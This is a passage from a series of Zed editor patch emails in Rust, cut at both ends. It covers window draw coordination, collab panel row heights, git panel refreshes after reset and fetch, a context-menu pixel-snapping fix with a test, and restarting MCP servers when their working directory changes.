     /// Flag to instruct the `VSyncProvider` thread to invalidate the directx devices
     /// as resizing them has failed, causing us to have lost at least the render target.
     pub invalidate_devices: Arc<AtomicBool>,
+    /// Shared with [`WindowsPlatformState::draw_coordinator`] and every other window.
+    pub(crate) draw_coordinator: Rc<DrawCoordinator>,
     fullscreen: Cell<Option<StyleAndBounds>>,
     initial_placement: Cell<Option<WindowOpenStatus>>,
     hwnd: HWND,
@@ -115,6 +119,7 @@ impl WindowsWindowState {
         appearance: WindowAppearance,
         disable_direct_composition: bool,
         invalidate_devices: Arc<AtomicBool>,
+        draw_coordinator: Rc<DrawCoordinator>,
     ) -> Result<Self> {
         let scale_factor = {
             let monitor_dpi = unsafe { GetDpiForWindow(hwnd) } as f32;
@@ -168,7 +173,7 @@ impl WindowsWindowState {
             last_reported_capslock: Cell::new(last_reported_capslock),
             hovered: Cell::new(hovered),
             renderer: RefCell::new(renderer),
-            force_render_after_recovery: Cell::new(false),
+            force_render_pending: Cell::new(false),
             click_state,
             current_cursor: Cell::new(current_cursor),
             cursor_visible,
@@ -178,6 +183,7 @@ impl WindowsWindowState {
             initial_placement: Cell::new(initial_placement),
             hwnd,
             invalidate_devices,
+            draw_coordinator,
             direct_manipulation,
             a11y: RefCell::new(None),
         })
@@ -255,6 +261,7 @@ impl WindowsWindowInner {
             context.appearance,
             context.disable_direct_composition,
             context.invalidate_devices.clone(),
+            context.draw_coordinator.clone(),
         )?;
 
         Ok(Rc::new(Self {
@@ -402,6 +409,7 @@ struct WindowCreateContext {
     disable_direct_composition: bool,
     directx_devices: DirectXDevices,
     invalidate_devices: Arc<AtomicBool>,
+    draw_coordinator: Rc<DrawCoordinator>,
     parent_hwnd: Option<HWND>,
 }
 
@@ -429,6 +437,7 @@ impl WindowsWindow {
             disable_direct_composition,
             directx_devices,
             invalidate_devices,
+            draw_coordinator,
         } = creation_info;
         register_window_class(icon);
         let parent_hwnd = if params.kind == WindowKind::Dialog {
@@ -513,6 +522,7 @@ impl WindowsWindow {
             disable_direct_composition,
             directx_devices,
             invalidate_devices,
+            draw_coordinator,
             parent_hwnd,
         };
         let creation_result = unsafe {
diff --git a/crates/recent_projects/src/recent_projects.rs b/crates/recent_projects/src/recent_projects.rs
index 8b82c2dd604a6e..94d72ee14faedd 100644
--- a/crates/recent_projects/src/recent_projects.rs
+++ b/crates/recent_projects/src/recent_projects.rs
@@ -2560,7 +2560,7 @@ mod tests {
     }
 
     fn draw(cx: &mut VisualTestContext) {
-        cx.update(|window, cx| window.draw(cx).clear());
+        cx.update(|window, cx| window.draw(cx).clear(cx));
     }
 
     fn build_picker(
diff --git a/crates/workspace/src/workspace.rs b/crates/workspace/src/workspace.rs
index 879d0201fc9be6..64daf89945f0fb 100644
--- a/crates/workspace/src/workspace.rs
+++ b/crates/workspace/src/workspace.rs
@@ -3478,7 +3478,7 @@ impl Workspace {
                                         // (Note that the tests always do this implicitly, so you must manually test with something like:
                                         //   "bindings": { "g z": ["workspace::SendKeystrokes", ": j <enter> u"]}
                                         // )
-                                        window.draw(cx).clear();
+                                        window.draw(cx).clear(cx);
                                         return true;
                                     }
                                     false
diff --git a/crates/zed/src/visual_test_runner.rs b/crates/zed/src/visual_test_runner.rs
index bbcd909315cbd2..cea858e72e5c0b 100644
--- a/crates/zed/src/visual_test_runner.rs
+++ b/crates/zed/src/visual_test_runner.rs
@@ -1161,7 +1161,7 @@ fn run_breakpoint_hover_visual_tests(
 
     // Step 1: Initial draw to register mouse listeners
     cx.update_window(workspace_window.into(), |_, window, cx| {
-        window.draw(cx).clear();
+        window.draw(cx).clear(cx);
     })?;
     cx.run_until_parked();
 
@@ -1179,7 +1179,7 @@ fn run_breakpoint_hover_visual_tests(
 
     // Step 4: Draw again to pick up the indicator state change
     cx.update_window(workspace_window.into(), |_, window, cx| {
-        window.draw(cx).clear();
+        window.draw(cx).clear(cx);
     })?;
     cx.run_until_parked();
 
@@ -1193,7 +1193,7 @@ fn run_breakpoint_hover_visual_tests(
 
     // Step 6: Final draw
     cx.update_window(workspace_window.into(), |_, window, cx| {
-        window.draw(cx).clear();
+        window.draw(cx).clear(cx);
     })?;
     cx.run_until_parked();
 
@@ -1219,7 +1219,7 @@ fn run_breakpoint_hover_visual_tests(
 
     // Draw to register the button's tooltip hover listener
     cx.update_window(workspace_window.into(), |_, window, cx| {
-        window.draw(cx).clear();
+        window.draw(cx).clear(cx);
     })?;
     cx.run_until_parked();
 
@@ -1237,7 +1237,7 @@ fn run_breakpoint_hover_visual_tests(
 
     // Draw to render the tooltip
     cx.update_window(workspace_window.into(), |_, window, cx| {
-        window.draw(cx).clear();
+        window.draw(cx).clear(cx);
     })?;
     cx.run_until_parked();
 
@@ -2457,7 +2457,7 @@ fn run_tool_permissions_visual_tests(
 
     // Refresh and redraw so the "Test Your Rules" input is present
     cx.update_window(settings_window, |_, window, cx| {
-        window.draw(cx).clear();
+        window.draw(cx).clear(cx);
     })
     .log_err();
     cx.run_until_parked();
@@ -2486,7 +2486,7 @@ fn run_tool_permissions_visual_tests(
 
     // Refresh and redraw
     cx.update_window(settings_window, |_, window, cx| {
-        window.draw(cx).clear();
+        window.draw(cx).clear(cx);
     })
     .log_err();
     cx.run_until_parked();
diff --git a/crates/zed/src/zed.rs b/crates/zed/src/zed.rs
index 09e968308c4fb3..19fe94d3ef5d4a 100644
--- a/crates/zed/src/zed.rs
+++ b/crates/zed/src/zed.rs
@@ -4539,7 +4539,7 @@ mod tests {
             .unwrap();
 
         cx.update(|window, cx| {
-            window.draw(cx).clear();
+            window.draw(cx).clear(cx);
         });
 
         // mouse_wheel_zoom is disabled by default — zoom should not work.
@@ -4571,7 +4571,7 @@ mod tests {
         });
 
         cx.update(|window, cx| {
-            window.draw(cx).clear();
+            window.draw(cx).clear(cx);
         });
 
         cx.simulate_event(gpui::ScrollWheelEvent {
@@ -4590,7 +4590,7 @@ mod tests {
         );
 
         cx.update(|window, cx| {
-            window.draw(cx).clear();
+            window.draw(cx).clear(cx);
         });
 
         cx.simulate_event(gpui::ScrollWheelEvent {
@@ -4621,7 +4621,7 @@ mod tests {
             cx.update(|_, cx| ThemeSettings::get_global(cx).buffer_font_size(cx).as_f32());
 
         cx.update(|window, cx| {
-            window.draw(cx).clear();
+            window.draw(cx).clear(cx);
         });
 
         cx.simulate_event(gpui::ScrollWheelEvent {

From ff13ee98fda3e2d6f0af3f5784d5d1c416b97c3c Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Wed, 22 Jul 2026 16:57:34 +0000
Subject: [PATCH 635/772] collab_panel: Adjust list item height across the
 panel (#61466)

Yet another quick follow up to
https://github.com/zed-industries/zed/pull/61397, making sure the height
of each item is consistent. This is particularly important so that the
tree-connecting-lines that show up when you share a project or screen
don't get disconnected.

Release Notes:

- N/A
---
 crates/collab_ui/src/collab_panel.rs         | 16 ++++++++++------
 crates/ui/src/components/list/list_header.rs | 16 +++++++++++++---
 2 files changed, 23 insertions(+), 9 deletions(-)

diff --git a/crates/collab_ui/src/collab_panel.rs b/crates/collab_ui/src/collab_panel.rs
index 77744c6eae1376..444030f9965129 100644
--- a/crates/collab_ui/src/collab_panel.rs
+++ b/crates/collab_ui/src/collab_panel.rs
@@ -55,6 +55,10 @@ const FAVORITE_CHANNELS_KEY: &str = "favorite_channels";
 const COLLABORATION_PANEL_KEY: &str = "CollaborationPanel";
 const TOAST_DURATION: Duration = Duration::from_secs(5);
 
+fn panel_row_height() -> Rems {
+    rems_from_px(26.)
+}
+
 actions!(
     collab_panel,
     [
@@ -1237,7 +1241,7 @@ impl CollabPanel {
         .into();
 
         ListItem::new(project_id as usize)
-            .height(rems_from_px(24.))
+            .height(panel_row_height())
             .toggle_state(is_selected)
             .on_click(cx.listener(move |this, _, window, cx| {
                 this.workspace
@@ -1278,7 +1282,7 @@ impl CollabPanel {
         let id = peer_id.map_or(usize::MAX, |id| id.as_u64() as usize);
 
         ListItem::new(("screen", id))
-            .height(rems_from_px(24.))
+            .height(panel_row_height())
             .toggle_state(is_selected)
             .start_slot(
                 h_flex()
@@ -1325,7 +1329,7 @@ impl CollabPanel {
         let has_channel_buffer_changed = channel_store.has_channel_buffer_changed(channel_id);
 
         ListItem::new("channel-notes")
-            .height(rems_from_px(24.))
+            .height(panel_row_height())
             .toggle_state(is_selected)
             .on_click(cx.listener(move |this, _, window, cx| {
                 this.open_channel_notes(channel_id, window, cx);
@@ -3072,6 +3076,7 @@ impl CollabPanel {
 
         h_flex().group("section-header").w_full().child(
             ListHeader::new(text)
+                .height(panel_row_height())
                 .when(can_collapse, |header| {
                     header
                         .toggle(Some(!is_collapsed))
@@ -3392,7 +3397,7 @@ impl CollabPanel {
             (IconName::Star, Color::Default, "Add to Favorites")
         };
 
-        let height = rems_from_px(24.);
+        let height = panel_row_height();
 
         let icon_name = if is_public {
             IconName::Hash
@@ -3801,7 +3806,6 @@ fn render_tree_branch(
     cx: &mut App,
 ) -> impl IntoElement {
     let rem_size = window.rem_size();
-    let line_height = window.text_style().line_height_in_pixels(rem_size);
     let thickness = px(1.);
     let color = cx.theme().colors().icon_disabled;
 
@@ -3834,7 +3838,7 @@ fn render_tree_branch(
         },
     )
     .w(rem_size)
-    .h(line_height - px(2.))
+    .h(panel_row_height())
 }
 
 fn render_participant_name_and_handle(user: &User) -> impl IntoElement {
diff --git a/crates/ui/src/components/list/list_header.rs b/crates/ui/src/components/list/list_header.rs
index e844c72cb25a11..e8b2b6c7a8fd16 100644
--- a/crates/ui/src/components/list/list_header.rs
+++ b/crates/ui/src/components/list/list_header.rs
@@ -22,6 +22,7 @@ pub struct ListHeader {
     on_toggle: Option<Arc<dyn Fn(&ClickEvent, &mut Window, &mut App) + 'static>>,
     inset: bool,
     selected: bool,
+    height: Option<DefiniteLength>,
 }
 
 impl ListHeader {
@@ -36,9 +37,15 @@ impl ListHeader {
             disclosure_shape: None,
             on_toggle: None,
             selected: false,
+            height: None,
         }
     }
 
+    pub fn height(mut self, height: impl Into<DefiniteLength>) -> Self {
+        self.height = Some(height.into());
+        self
+    }
+
     pub fn toggle(mut self, toggle: impl Into<Option<bool>>) -> Self {
         self.toggle = toggle.into();
         self
@@ -97,9 +104,12 @@ impl RenderOnce for ListHeader {
             .group("list_header")
             .child(
                 div()
-                    .map(|this| match ui_density {
-                        UiDensity::Comfortable => this.h_5(),
-                        _ => this.h_7(),
+                    .map(|this| match self.height {
+                        Some(height) => this.h(height),
+                        None => match ui_density {
+                            UiDensity::Comfortable => this.h_5(),
+                            _ => this.h_7(),
+                        },
                     })
                     .when(self.inset, |this| this.px_2())
                     .when(self.selected, |this| {

From 9902238fe0d643cf7b4b0d054425605e1808976d Mon Sep 17 00:00:00 2001
From: Neel <neel@zed.dev>
Date: Wed, 22 Jul 2026 17:10:58 +0000
Subject: [PATCH 636/772] project: Explicitly scan on git reset and fetch
 (#60590)

This PR fixes a bug where uncomitting would not reflect changes in the
git panel, and fetching would not update the upstream ahead/behind
counts in the git panel. This was especially evident on Linux which has
non-recursive watches.

---

Release Notes:

- Fixed changes not appearing in the git panel after uncommitting
- Fixed the git panel not updating ahead/behind counts after a fetch
---
 crates/project/src/git_store.rs | 105 +++++++++++++++++++++++---------
 1 file changed, 75 insertions(+), 30 deletions(-)

diff --git a/crates/project/src/git_store.rs b/crates/project/src/git_store.rs
index f7c2320d1fad75..148ed9603b71f6 100644
--- a/crates/project/src/git_store.rs
+++ b/crates/project/src/git_store.rs
@@ -6153,11 +6153,11 @@ impl Repository {
         &mut self,
         commit: String,
         reset_mode: ResetMode,
-        _cx: &mut App,
+        cx: &mut Context<Self>,
     ) -> oneshot::Receiver<Result<()>> {
         let id = self.id;
 
-        self.send_job("reset", None, move |git_repo, _| async move {
+        let receiver = self.send_job("reset", None, move |git_repo, _| async move {
             match git_repo {
                 RepositoryState::Local(LocalRepositoryState {
                     backend,
@@ -6180,7 +6180,23 @@ impl Repository {
                     Ok(())
                 }
             }
-        })
+        });
+
+        let scan_updates_tx =
+            self.git_store()
+                .and_then(|git_store| match &git_store.read(cx).state {
+                    GitStoreState::Local { downstream, .. } => Some(
+                        downstream
+                            .as_ref()
+                            .map(|downstream| downstream.updates_tx.clone()),
+                    ),
+                    _ => None,
+                });
+        if let Some(updates_tx) = scan_updates_tx {
+            self.schedule_scan(updates_tx, cx);
+        }
+
+        receiver
     }
 
     pub fn show(&mut self, commit: String) -> oneshot::Receiver<Result<CommitDetails>> {
@@ -7560,26 +7576,78 @@ impl Repository {
         )
     }
 
+    async fn refresh_branch_list(
+        this: &WeakEntity<Self>,
+        backend: Arc<dyn GitRepository>,
+        updates_tx: Option<mpsc::UnboundedSender<DownstreamUpdate>>,
+        cx: &mut AsyncApp,
+    ) -> Result<()> {
+        let branches_scan = backend.branches().await?;
+        let branch_list_error = branches_scan.error;
+        let branch_list: Arc<[Branch]> = branches_scan.branches.into();
+        let branch = branch_list.iter().find(|branch| branch.is_head).cloned();
+        log::info!("head branch after scan is {branch:?}");
+        let snapshot = this.update(cx, |this, cx| {
+            let head_changed = branch != this.snapshot.branch;
+            let branch_list_changed = *branch_list != *this.snapshot.branch_list;
+            let branch_list_error_changed = this.snapshot.branch_list_error != branch_list_error;
+            this.snapshot.branch = branch;
+            this.snapshot.branch_list = branch_list;
+            this.snapshot.branch_list_error = branch_list_error;
+            if head_changed {
+                cx.emit(RepositoryEvent::HeadChanged);
+            }
+            if branch_list_changed || branch_list_error_changed {
+                cx.emit(RepositoryEvent::BranchListChanged);
+            }
+            this.snapshot.clone()
+        })?;
+        if let Some(updates_tx) = updates_tx {
+            updates_tx
+                .unbounded_send(DownstreamUpdate::UpdateRepository(snapshot))
+                .ok();
+        }
+        Ok(())
+    }
+
     pub fn fetch(
         &mut self,
         fetch_options: FetchOptions,
         askpass: AskPassDelegate,
-        _cx: &mut App,
+        cx: &mut Context<Self>,
     ) -> oneshot::Receiver<Result<RemoteCommandOutput>> {
         let askpass_delegates = self.askpass_delegates.clone();
         let askpass_id = util::post_inc(&mut self.latest_askpass_id);
         let id = self.id;
 
+        let updates_tx = self
+            .git_store()
+            .and_then(|git_store| match &git_store.read(cx).state {
+                GitStoreState::Local { downstream, .. } => downstream
+                    .as_ref()
+                    .map(|downstream| downstream.updates_tx.clone()),
+                _ => None,
+            });
+
+        let this = cx.weak_entity();
         self.send_job(
             "fetch",
             Some("git fetch".into()),
-            move |git_repo, cx| async move {
+            move |git_repo, mut cx| async move {
                 match git_repo {
                     RepositoryState::Local(LocalRepositoryState {
                         backend,
                         environment,
                         ..
-                    }) => backend.fetch(fetch_options, askpass, environment, cx).await,
+                    }) => {
+                        let result = backend
+                            .fetch(fetch_options, askpass, environment, cx.clone())
+                            .await;
+                        if result.is_ok() {
+                            Self::refresh_branch_list(&this, backend, updates_tx, &mut cx).await?;
+                        }
+                        result
+                    }
                     RepositoryState::Remote(RemoteRepositoryState { project_id, client }) => {
                         askpass_delegates.lock().insert(askpass_id, askpass);
                         let _defer = util::defer(|| {
@@ -7659,30 +7727,7 @@ impl Repository {
                             .await;
                         // TODO would be nice to not have to do this manually
                         if result.is_ok() {
-                            let branches_scan = backend.branches().await?;
-                            let branch_list_error = branches_scan.error;
-                            let branch_list: Arc<[Branch]> = branches_scan.branches.into();
-                            let branch = branch_list.iter().find(|branch| branch.is_head).cloned();
-                            log::info!("head branch after scan is {branch:?}");
-                            let snapshot = this.update(&mut cx, |this, cx| {
-                                let branch_list_changed =
-                                    *branch_list != *this.snapshot.branch_list;
-                                let branch_list_error_changed =
-                                    this.snapshot.branch_list_error != branch_list_error;
-                                this.snapshot.branch = branch;
-                                this.snapshot.branch_list = branch_list;
-                                this.snapshot.branch_list_error = branch_list_error;
-                                cx.emit(RepositoryEvent::HeadChanged);
-                                if branch_list_changed || branch_list_error_changed {
-                                    cx.emit(RepositoryEvent::BranchListChanged);
-                                }
-                                this.snapshot.clone()
-                            })?;
-                            if let Some(updates_tx) = updates_tx {
-                                updates_tx
-                                    .unbounded_send(DownstreamUpdate::UpdateRepository(snapshot))
-                                    .ok();
-                            }
+                            Self::refresh_branch_list(&this, backend, updates_tx, &mut cx).await?;
                         }
                         result
                     }

From 547a6cd599a1649cb78d32447185a993f97a6c85 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=80=E1=B4=8D=E1=B4=9B=E1=B4=8F=E1=B4=80=E1=B4=87?=
 =?UTF-8?q?=CA=80?= <amtoaer@gmail.com>
Date: Wed, 22 Jul 2026 19:17:25 +0000
Subject: [PATCH 637/772] editor: Fix right-click context menus failing to
 appear at pixel-snapped scroll positions (#61348)

# Objective

Fixes #56136.

The issue was initially reported while an agent was generating code.
Later reports reproduced it during manual editing and with AI disabled,
ruling out the agent as the cause.

At fractional display scales, the editor's right-click context menu
could fail to appear at specific discrete scroll positions. Scrolling
one line at a time could make the menu alternate between hidden and
visible, even when its anchor remained within the viewport.



## Solution

The editor-specific changes in #54728 started pixel-snapping the
vertical scroll position used by `EditorElement` to derive and render
visible rows. However, `Editor::display_to_pixel_point` continued using
the raw scroll position for its visibility check and vertical
projection.

When a downward pixel snap crossed an integer display-row boundary,
`EditorElement` treated the preceding row as the visible range start.
`display_to_pixel_point` then rejected that row as being above the raw
viewport. Mouse context menu layout returned early before inspecting the
actual clicked anchor, leaving the menu state present without rendering
its element.

This change applies the same line-height and display-scale pixel
snapping in `display_to_pixel_point`. Its visibility check and
coordinate projection now use the coordinate space actually rendered by
the editor.

A test-support-only scale-factor setter was also added so GPUI tests can
exercise fractional display scaling without depending on the host
display.

## Testing

Added a GPUI regression test using 100 plain-text lines so the editor
can scroll. The test uses a `1.25` scale factor and a `14px` font with
`1.3` relative line height. The resulting `18.2px` line height is
rounded to `18px`, producing exactly `22.5` device pixels per row.

At a raw scroll position of one row, midpoint-toward-zero snapping maps
`22.5` device pixels to `22`, or approximately `0.978` rows. This
reproduces the old boundary mismatch where the snapped visible range
starts at row zero while the raw visibility check starts at row one.

The test pins these values with precondition assertions. Row five and an
in-bounds click keep the actual source visible, while checking the
rendered bounds of the `Copy` item ensures the test does not pass merely
because menu state was created.

Manually verified that scrolling from the start of a document no longer
makes the context menu alternate between hidden and visible.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

Before:


https://github.com/user-attachments/assets/e14c030f-1587-4172-aed2-fecfbfcb65ed


After:



https://github.com/user-attachments/assets/3080db1e-46eb-4e20-a619-b1608f233668



---

Release Notes:

- Fixed editor right-click context menus intermittently failing to
appear at certain scroll positions.
---
 crates/editor/src/editor.rs             |  8 +++-
 crates/editor/src/mouse_context_menu.rs | 51 ++++++++++++++++++++++++-
 crates/gpui/src/window.rs               |  7 ++++
 3 files changed, 63 insertions(+), 3 deletions(-)

diff --git a/crates/editor/src/editor.rs b/crates/editor/src/editor.rs
index 5203bcbf1b5b1c..e1f08e230f32fb 100644
--- a/crates/editor/src/editor.rs
+++ b/crates/editor/src/editor.rs
@@ -165,7 +165,7 @@ use gpui::{
     Action, Animation, AnimationExt, AnyElement, App, AppContext, AsyncWindowContext,
     AvailableSpace, Background, Bounds, ClickEvent, ClipboardEntry, ClipboardItem, Context,
     DispatchPhase, Edges, Entity, EntityId, EntityInputHandler, EventEmitter, FocusHandle,
-    FocusOutEvent, Focusable, FontId, FontStyle, FontWeight, Global, HighlightStyle, Hsla,
+    FocusOutEvent, Focusable, FontId, FontStyle, FontWeight, Global, HighlightStyle, Hsla, IsZero,
     KeyContext, Modifiers, MouseButton, MouseDownEvent, MouseMoveEvent, PaintQuad, ParentElement,
     Pixels, PressureStage, Render, ScrollHandle, SharedString, SharedUri, Size, Stateful, Styled,
     Subscription, Task, TextRun, TextStyle, TextStyleRefinement, UTF16Selection, UnderlineStyle,
@@ -10602,10 +10602,14 @@ impl Editor {
     ) -> Option<gpui::Point<Pixels>> {
         let line_height = self.style(cx).text.line_height_in_pixels(window.rem_size());
         let text_layout_details = self.text_layout_details(window, cx);
-        let scroll_top = text_layout_details
+        let mut scroll_top = text_layout_details
             .scroll_anchor
             .scroll_position(editor_snapshot)
             .y;
+        if !line_height.is_zero() {
+            scroll_top =
+                window.pixel_snap_f64(scroll_top * f64::from(line_height)) / f64::from(line_height);
+        }
 
         if source.row().as_f64() < scroll_top.floor() {
             return None;
diff --git a/crates/editor/src/mouse_context_menu.rs b/crates/editor/src/mouse_context_menu.rs
index 0c4cbb3667a1d2..5963dcd557a0de 100644
--- a/crates/editor/src/mouse_context_menu.rs
+++ b/crates/editor/src/mouse_context_menu.rs
@@ -352,7 +352,12 @@ pub fn deploy_context_menu(
 #[cfg(test)]
 mod tests {
     use super::*;
-    use crate::{editor_tests::init_test, test::editor_lsp_test_context::EditorLspTestContext};
+    use crate::{
+        editor_tests::init_test,
+        test::{
+            editor_lsp_test_context::EditorLspTestContext, editor_test_context::EditorTestContext,
+        },
+    };
     use indoc::indoc;
 
     #[gpui::test]
@@ -400,4 +405,48 @@ mod tests {
         "});
         cx.editor(|editor, _window, _app| assert!(editor.mouse_context_menu.is_some()));
     }
+
+    #[gpui::test]
+    async fn test_mouse_context_menu_at_pixel_snapped_scroll_position(
+        cx: &mut gpui::TestAppContext,
+    ) {
+        init_test(cx, |_| {});
+
+        let mut cx = EditorTestContext::new(cx).await;
+        cx.set_state(&format!("ˇ{}", "aaaaa\n".repeat(100)));
+        cx.update(|window, _| window.set_scale_factor(1.25));
+        cx.update_editor(|editor, _, cx| {
+            editor.set_text_style_refinement(gpui::TextStyleRefinement {
+                font_size: Some(gpui::px(14.).into()),
+                line_height: Some(gpui::relative(1.3)),
+                ..Default::default()
+            });
+            cx.notify();
+        });
+        cx.run_until_parked();
+
+        cx.update_editor(|editor, window, cx| {
+            assert_eq!(window.scale_factor(), 1.25);
+            let line_height = editor
+                .style(cx)
+                .text
+                .line_height_in_pixels(window.rem_size());
+            assert_eq!(line_height, gpui::px(18.));
+            assert!(window.pixel_snap_f64(f64::from(line_height)) / f64::from(line_height) < 1.);
+            editor.set_scroll_position(gpui::point(0., 1.), window, cx);
+            assert_eq!(editor.snapshot(window, cx).scroll_position().y, 1.);
+
+            deploy_context_menu(
+                editor,
+                Some(gpui::point(gpui::px(200.), gpui::px(200.))),
+                DisplayPoint::new(crate::display_map::DisplayRow(5), 0),
+                window,
+                cx,
+            );
+            assert!(editor.mouse_context_menu.is_some());
+        });
+        cx.run_until_parked();
+
+        assert!(cx.debug_bounds("MENU_ITEM-Copy").is_some());
+    }
 }
diff --git a/crates/gpui/src/window.rs b/crates/gpui/src/window.rs
index cab88b718b5acb..312d797876bcfa 100644
--- a/crates/gpui/src/window.rs
+++ b/crates/gpui/src/window.rs
@@ -2574,6 +2574,13 @@ impl Window {
         self.scale_factor
     }
 
+    /// Overrides the display scale factor for tests.
+    #[cfg(any(test, feature = "test-support"))]
+    pub fn set_scale_factor(&mut self, scale_factor: f32) {
+        self.scale_factor = scale_factor;
+        self.refresh();
+    }
+
     /// The size of an em for the base font of the application. Adjusting this value allows the
     /// UI to scale, just like zooming a web page.
     pub fn rem_size(&self) -> Pixels {

From ac44e9f5df57a9e1a9d6deacddead974edabc8e7 Mon Sep 17 00:00:00 2001
From: Apoorva Verma <76636952+apoorva-01@users.noreply.github.com>
Date: Wed, 22 Jul 2026 19:45:18 +0000
Subject: [PATCH 638/772] project: Restart context servers when their working
 directory changes (#61365)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

Fixes #60879

Open Zed from Finder/Dock and the agent's MCP servers run from `/`
instead of your project. They get spawned before any worktree exists, so
there's no root to give them and they grab Zed's own cwd. The worktree
shows up right after, but `maintain_servers` only restarts on a config
change and the working dir isn't part of the config, so nothing kicks
it.

## Solution

Track each server's working dir and restart when it changes. Direction 1
from @SomeoneToIgnore's triage. Could also defer startup until the first
worktree lands, happy to switch if you'd rather.

## Testing

Added a test: file-only worktree (root is `None`) → start server → add a
real worktree → server restarts. Fails without the fix.
- Fixed agent MCP servers running from the wrong directory when started
before a worktree was available
---
 crates/project/src/context_server_store.rs    | 97 ++++++++++++++-----
 .../tests/integration/context_server_store.rs | 92 ++++++++++++++++++
 2 files changed, 164 insertions(+), 25 deletions(-)

diff --git a/crates/project/src/context_server_store.rs b/crates/project/src/context_server_store.rs
index 9e3a65134dc510..00dfafd45008af 100644
--- a/crates/project/src/context_server_store.rs
+++ b/crates/project/src/context_server_store.rs
@@ -296,6 +296,13 @@ pub struct ContextServerStore {
     registry: Entity<ContextServerDescriptorRegistry>,
     update_servers_task: Option<Task<Result<()>>>,
     context_server_factory: Option<ContextServerFactory>,
+    /// The working directory each server was last started with. The working
+    /// directory of a stdio server depends on the resolved project root, which
+    /// can only become available after the server has already started (e.g. a
+    /// worktree is added moments after launch). Tracking it lets
+    /// `maintain_servers` restart a server when its working directory changes,
+    /// since the working directory is not part of `ContextServerConfiguration`.
+    server_working_directories: HashMap<ContextServerId, Option<Arc<Path>>>,
     needs_server_update: bool,
     ai_disabled: bool,
     _subscriptions: Vec<Subscription>,
@@ -511,6 +518,7 @@ impl ContextServerStore {
             server_ids: Default::default(),
             update_servers_task: None,
             context_server_factory,
+            server_working_directories: HashMap::default(),
         };
         if maintain_server_loop && !DisableAiSettings::get_global(cx).disable_ai {
             this.available_context_servers_changed(cx);
@@ -855,6 +863,7 @@ impl ContextServerStore {
             .servers
             .remove(id)
             .context("Context server not found")?;
+        self.server_working_directories.remove(id);
 
         if let ContextServerConfiguration::Http { url, .. } = state.configuration().as_ref() {
             let server_url = url.clone();
@@ -878,6 +887,31 @@ impl ContextServerStore {
         Ok(())
     }
 
+    /// The project root a locally-spawned stdio server should use as its working
+    /// directory: the active project directory, falling back to the first visible
+    /// worktree. Resolves to `None` before any worktree is available.
+    fn resolve_root_path(&self, cx: &App) -> Option<Arc<Path>> {
+        self.project
+            .as_ref()
+            .and_then(|project| {
+                project
+                    .read_with(cx, |project, cx| project.active_project_directory(cx))
+                    .ok()
+                    .flatten()
+            })
+            .or_else(|| {
+                self.worktree_store.read_with(cx, |store, cx| {
+                    store.visible_worktrees(cx).fold(None, |acc, item| {
+                        if acc.is_none() {
+                            item.read(cx).root_dir()
+                        } else {
+                            acc
+                        }
+                    })
+                })
+            })
+    }
+
     pub async fn create_context_server(
         this: WeakEntity<Self>,
         id: ContextServerId,
@@ -902,27 +936,8 @@ impl ContextServerStore {
             (remote_state, this.is_remote_project())
         })?;
 
-        let root_path: Option<Arc<Path>> = this.update(cx, |this, cx| {
-            this.project
-                .as_ref()
-                .and_then(|project| {
-                    project
-                        .read_with(cx, |project, cx| project.active_project_directory(cx))
-                        .ok()
-                        .flatten()
-                })
-                .or_else(|| {
-                    this.worktree_store.read_with(cx, |store, cx| {
-                        store.visible_worktrees(cx).fold(None, |acc, item| {
-                            if acc.is_none() {
-                                item.read(cx).root_dir()
-                            } else {
-                                acc
-                            }
-                        })
-                    })
-                })
-        })?;
+        let root_path: Option<Arc<Path>> =
+            this.update(cx, |this, cx| this.resolve_root_path(cx))?;
 
         let configuration = if let Some((project_id, upstream_client)) = remote_state {
             let root_dir = root_path.as_ref().map(|p| p.display().to_string());
@@ -1767,7 +1782,7 @@ impl ContextServerStore {
         let mut servers_to_remove = HashSet::default();
         let mut servers_to_stop = HashSet::default();
 
-        this.update(cx, |this, _cx| {
+        this.update(cx, |this, cx| {
             for server_id in this.servers.keys() {
                 // All servers that are not in desired_servers should be removed from the store.
                 // This can happen if the user removed a server from the context server settings.
@@ -1780,13 +1795,28 @@ impl ContextServerStore {
                 }
             }
 
+            let is_remote_project = this.is_remote_project();
+            let root_path = this.resolve_root_path(cx);
+
             for (id, config) in configured_servers {
                 let state = this.servers.get(&id);
                 let is_stopped = matches!(state, Some(ContextServerState::Stopped { .. }));
                 let existing_config = state.as_ref().map(|state| state.configuration());
-                if existing_config.as_deref() != Some(&config) || is_stopped {
+                let working_directory =
+                    working_directory_for(&config, root_path.clone(), is_remote_project);
+                // A running server that was started before the project root became
+                // available keeps its stale working directory, since the working
+                // directory is not part of `ContextServerConfiguration`. Restart it
+                // when the resolved working directory no longer matches.
+                let working_directory_changed = state.is_some()
+                    && !is_stopped
+                    && this.server_working_directories.get(&id) != Some(&working_directory);
+                if existing_config.as_deref() != Some(&config)
+                    || is_stopped
+                    || working_directory_changed
+                {
                     let config = Arc::new(config);
-                    servers_to_start.push((id.clone(), config));
+                    servers_to_start.push((id.clone(), config, working_directory));
                     if this.servers.contains_key(&id) {
                         servers_to_stop.insert(id);
                     }
@@ -1806,10 +1836,12 @@ impl ContextServerStore {
             anyhow::Ok(())
         })??;
 
-        for (id, config) in servers_to_start {
+        for (id, config, working_directory) in servers_to_start {
             match Self::create_context_server(this.clone(), id.clone(), config, cx).await {
                 Ok((server, config)) => {
                     this.update(cx, |this, cx| {
+                        this.server_working_directories
+                            .insert(id.clone(), working_directory);
                         this.run_server(server, config, cx);
                     })?;
                 }
@@ -1830,6 +1862,21 @@ impl ContextServerStore {
     }
 }
 
+/// The working directory a server will be spawned with, mirroring the choice
+/// made in [`ContextServerStore::create_context_server`]: only locally-spawned
+/// stdio servers use the project root; HTTP and remote servers use none.
+fn working_directory_for(
+    configuration: &ContextServerConfiguration,
+    root_path: Option<Arc<Path>>,
+    is_remote_project: bool,
+) -> Option<Arc<Path>> {
+    match configuration {
